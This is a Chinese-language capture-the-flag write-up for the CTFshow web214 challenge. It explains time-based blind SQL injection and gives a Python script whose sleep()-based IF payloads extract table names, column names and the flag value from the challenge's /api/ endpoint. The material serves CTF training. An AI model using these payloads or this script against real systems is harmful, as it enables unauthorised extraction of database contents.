CTFshow web214 时间盲注
在ctfshow做了sql注入题目,迷迷糊糊的,第一次接触sql时间盲注
提示
时间盲注,例如执行select *from ctfshow_user where id = sleep(10);时,页面明显缓慢的加载了10秒才响应,说明sql语句执行成功
使用IF(condition, true_value, false_value),当条件为真时,会执行true_value,否则执行false_value
IF(1=1,sleep(10),0),当1=1时,执行sleep(10),通过观察页面是否明显的缓慢加载,判断sql的if语句是否为真来实现sql时间盲注
在做CTFshow web 214 sql时间盲注这题,发现一些细节
看其他师傅wp做,首页bp抓包还是f12看网络请求都没有发现api接口,直接dirsearch扫描了
抓/api/
的报文还是什么都没有
在网络里看到select.js
,点进去可以看到
layui.use('element', function(){
var element = layui.element;
element.on('tab(nav)', function(data){
console.log(data);
});
});
$.ajax({
url:'api/',
dataType:"json",
type:'post',
data:{
ip:returnCitySN["cip"],
debug:0
}
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ajax通过post请求/api/接口,有ip,debug的参数
hackbar发包,ip随便填,没有限制,debug的会影响页面是否回显。发包后返回了原sql语句select id from ctfshow_info where ip = $_POST[ip]
,如果ip=sleep(3),页面会缓慢的加载3秒后才响应,说明sleep执行成功
import requests
import time
url = 'http://08d7032b-e019-444d-aeb7-2ba24dd99c9e.challenge.ctf.show/api/'
str = ''
for i in range(60):
min,max = 32, 128
while True:
j = min + (max-min)//2
if(min == j):
str += chr(j)
print(str)
break
# 爆表名(当前数据库)
# payload = {
# 'ip': f"1 or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.5),'False')#",
# 'debug': 0
# }
# 爆列
# payload = {
# 'ip': f"1 or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{i},1))<{j},sleep(0.5),'False')#",
# 'debug': 0
# }
# 爆值
payload = {
'ip': f"1 or if(ascii(substr((select group_concat(flaga) from ctfshow_flagx),{i},1))<{j},sleep(0.5),'False')#",
'debug': 0
}
start_time = time.time()
r = requests.post(url=url, data=payload).text
end_time = time.time()
sub = end_time - start_time
if sub >= 0.5:
max = j
else:
min = j
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
GET!
编辑 (opens new window)
最后一次更新于: 2025/01/19, 23:04:33